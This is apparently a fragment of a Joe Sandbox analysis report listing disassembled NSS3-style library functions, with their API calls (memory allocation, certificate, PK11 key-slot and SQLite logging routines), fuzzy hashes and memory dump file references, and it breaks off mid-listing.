Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 3b5166052e4fe789b73349b869cde41bceacf460ffecf59a3c84ef3a51779d4e
Instruction ID: 9c91fa441209e0453d0a3962e0650bcf71c919b157c09a8c164bbd1191e66a4b
Opcode Fuzzy Hash: 3b5166052e4fe789b73349b869cde41bceacf460ffecf59a3c84ef3a51779d4e
Instruction Fuzzy Hash: B2C1A0B1A002199BDB20CF24CD84BDAB7B4BF48318F1481A8E94897751E775EE99CF94

Function 6C73DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7497C1,?,00000000,00000000,?,?,?,00000000,?,6C727F4A,00000000), ref: 6C73DC68

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DFAA

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 045038d18f7157e9b3e3757dc5a5d9422d0e9111fa156f77bd76b1d1039698b5
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 1D8138B06A25258BFB104E29CA903597ADADB70349F20A43ED91DCAFD3E774C494C60E

Function 6C713C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C713C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C713C94

Part of subcall function 6C7095B0: TlsGetValue.KERNEL32(00000000,?,6C7200D2,00000000), ref: 6C7095D2
Part of subcall function 6C7095B0: EnterCriticalSection.KERNEL32(?,?,?,6C7200D2,00000000), ref: 6C7095E7
Part of subcall function 6C7095B0: PR_Unlock.NSS3(?,?,?,?,6C7200D2,00000000), ref: 6C709605

PORT_NewArena_Util.NSS3(00000800), ref: 6C713CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C713CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C713CE1

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: dbf01b1e9b4ea44d432f3459ab2aae7be1cd0f784a3e2f8136d43a096fe79991
Instruction ID: e6398f4d9dead3130cfc57302371d974a7a34a43e44bfc323283872d3ed29307
Opcode Fuzzy Hash: dbf01b1e9b4ea44d432f3459ab2aae7be1cd0f784a3e2f8136d43a096fe79991
Instruction Fuzzy Hash: 1561B5B1A04300ABEB105E65DE49FA776BDAF04748F4C8078FD099AE52F731D918C7A1

Function 6C753D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

TlsGetValue.KERNEL32 ref: 6C753D8B
EnterCriticalSection.KERNEL32(?), ref: 6C753D9F
PR_Unlock.NSS3(?), ref: 6C753DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C753DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C753E4F

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

TlsGetValue.KERNEL32 ref: 6C753E97
EnterCriticalSection.KERNEL32(?), ref: 6C753EAB
PR_Unlock.NSS3(?), ref: 6C753ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C753EEE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: ec5aeac127be6aeb65f5a9c8901c06f5781a431fcc8de2d7ab2132dd12edbd73
Instruction ID: ff061320ae1769ee4a764b13fc62df91c5ca9770123f0cd641609f0cfcd0d0f0
Opcode Fuzzy Hash: ec5aeac127be6aeb65f5a9c8901c06f5781a431fcc8de2d7ab2132dd12edbd73
Instruction Fuzzy Hash: 42514771E002019FEB11AF69DE49B6A73F8AF45318F854178DE0947A22EF31E864CBD1

Function 6C702C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(2EA73CAB), ref: 6C702C5D

Part of subcall function 6C760D30: calloc.MOZGLUE ref: 6C760D50
Part of subcall function 6C760D30: TlsGetValue.KERNEL32 ref: 6C760D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C702C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C702CE0

Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E
Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33
Part of subcall function 6C702E00: TlsGetValue.KERNEL32 ref: 6C702E4E
Part of subcall function 6C702E00: EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
Part of subcall function 6C702E00: PL_HashTableLookup.NSS3(?), ref: 6C702E71
Part of subcall function 6C702E00: PL_HashTableRemove.NSS3(?), ref: 6C702E84
Part of subcall function 6C702E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
Part of subcall function 6C702E00: PR_Unlock.NSS3 ref: 6C702EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C702D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C702D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C702D3F
free.MOZGLUE(00000000), ref: 6C702D73
CERT_DestroyCertificate.NSS3(?), ref: 6C702DB8
free.MOZGLUE ref: 6C702DC8

Part of subcall function 6C703E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
Part of subcall function 6C703E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6
Part of subcall function 6C703E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE
Part of subcall function 6C703E60: PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
Part of subcall function 6C703E60: PL_FreeArenaPool.NSS3 ref: 6C703F14
Part of subcall function 6C703E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 0f5141a072f3e7fd5d39799386cec90768cdee1e41bccb5f187f48719e5cf76e
Instruction ID: cb994e7b5d94ef4b8fd978588da8294331ef4618e1588d0908030055a993c513
Opcode Fuzzy Hash: 0f5141a072f3e7fd5d39799386cec90768cdee1e41bccb5f187f48719e5cf76e
Instruction Fuzzy Hash: 7D51DEB2B042129BDB119E29DE8AB5B77E5EF84348F140439EC5983751EB31EC15CB92

Function 6C728F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C72905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7290EC

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729111

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: adc9101c25eec0d7bfdb43b9337406391258416b7b032c6d72e0bf8f52107497
Instruction ID: e420751dd47f9d31a489ea48451b41663505dd91bdf06aabfece555f977a1b98
Opcode Fuzzy Hash: adc9101c25eec0d7bfdb43b9337406391258416b7b032c6d72e0bf8f52107497
Instruction Fuzzy Hash: 5251BE71A042058FDB50EF39C5882A9BBF1BF0A318F095579DC448B716EB39E885CBC1

Function 6C707CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C703F7F,?,00000055,?,?,6C701666,?,?), ref: 6C7040D9
Part of subcall function 6C7040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C701666,?,?), ref: 6C7040FC
Part of subcall function 6C7040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C701666,?,?), ref: 6C704138

PR_GetCurrentThread.NSS3 ref: 6C707CFD

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C829030), ref: 6C707D1B

Part of subcall function 6C75FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C701A3E,00000048,00000054), ref: 6C75FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C829048), ref: 6C707D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C707D50
PR_GetCurrentThread.NSS3 ref: 6C707D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C707D7D
free.MOZGLUE(?), ref: 6C707D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C707DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C707E19

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 339946b029bd5e7d5ba5c571765c9e27ffdefa9011af83470b0aa05a5bd8c80c
Instruction ID: 683b21314a5bc0a4357cc56a2d43ecabd00d0af3d8f069203bb21ffa1a346837
Opcode Fuzzy Hash: 339946b029bd5e7d5ba5c571765c9e27ffdefa9011af83470b0aa05a5bd8c80c
Instruction Fuzzy Hash: C441E6B2B0011A9BDF009E699E4ABAF37E4AF5035CF050074EC19ABB51E730E955C7E1

Function 6C717EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C7180DD), ref: 6C717F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C7180DD), ref: 6C717F36
free.MOZGLUE(?,?,?,6C7180DD), ref: 6C717F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C7180DD), ref: 6C717F5D
DeleteCriticalSection.KERNEL32(?,6C7180DD), ref: 6C717F94
free.MOZGLUE(?), ref: 6C717F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C7180DD), ref: 6C717FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C7180DD), ref: 6C717FE6
free.MOZGLUE(?,6C7180DD), ref: 6C71802D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: d511b1ffabcda95c23e49383c4157a7a378d78c07404c7e0a80c93f2815f6f51
Instruction ID: 7c62dd718aea76ee73f3694211b06e6f1bf045f57f7b5a98339069cb4796855a
Opcode Fuzzy Hash: d511b1ffabcda95c23e49383c4157a7a378d78c07404c7e0a80c93f2815f6f51
Instruction Fuzzy Hash: 93412AB1B091008BDB209FBAC98DA5737B9AB4735CF091279E51983F80D738E415CBD1

Function 6C75FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C75FF00

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C75FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C75FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C75FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C75FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C75FF8C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 5871d7baadfcb6a83194fd4b9348b65b472eee610c63f513ab00a2162476f5b8
Instruction ID: a3009305d50ddd68e876f27f48a9fc1371623d8c7d4927669d8a47505921bb82
Opcode Fuzzy Hash: 5871d7baadfcb6a83194fd4b9348b65b472eee610c63f513ab00a2162476f5b8
Instruction Fuzzy Hash: FD3168F2D053129BEB108E9A9E48B5B76A8AF42348F140139ED19D7F80FB72D924C7D1

Function 6C6A7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C6A7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A7F2E

Strings

database corruption, xrefs: 6C6A7EE2, 6C6A7F23
%s at line %d of [%.10s], xrefs: 6C6A7EE7, 6C6A7F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A7ED8, 6C6A7F08, 6C6A7F19

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d52a70442126236f669d538aa29c9fcc9d84cc6982b9d1c744fab6506b6d1416
Instruction ID: f934cb1a5310f45ec70ad8afe6eb488bc7752c5ef8b436400a870b9e9f4cb30d
Opcode Fuzzy Hash: d52a70442126236f669d538aa29c9fcc9d84cc6982b9d1c744fab6506b6d1416
Instruction Fuzzy Hash: 4761C274A042159FCB15CFA5C890BAA37B2BF86308F1449A8EC085BB56D730EC57CBE5

Function 6C68FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68FE83

Part of subcall function 6C68FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C68FEFA
Part of subcall function 6C68FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C68FF3B

Strings

database corruption, xrefs: 6C68FD6E, 6C68FE30
%s at line %d of [%.10s], xrefs: 6C68FD73, 6C68FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68FD64, 6C68FE26

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: c929f5957afb30fca6f0ac252e5ff473e91495b28d355a2835062c4a3dfb9fb9
Instruction ID: 8c1c24453451d4d476003430cf1dec909f119e780500c80e01100d425a0a8f77
Opcode Fuzzy Hash: c929f5957afb30fca6f0ac252e5ff473e91495b28d355a2835062c4a3dfb9fb9
Instruction Fuzzy Hash: 19519270A012159FCB04CF99C994AAEB7F1FF48308F144469EA05AB752E735EC51CBA5

Function 6C7D2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D2FFD
sqlite3_initialize.NSS3 ref: 6C7D3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7D3032
sqlite3_mprintf.NSS3(6C83AAF9,?), ref: 6C7D3073
sqlite3_free.NSS3(?), ref: 6C7D30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7D30C0

Strings

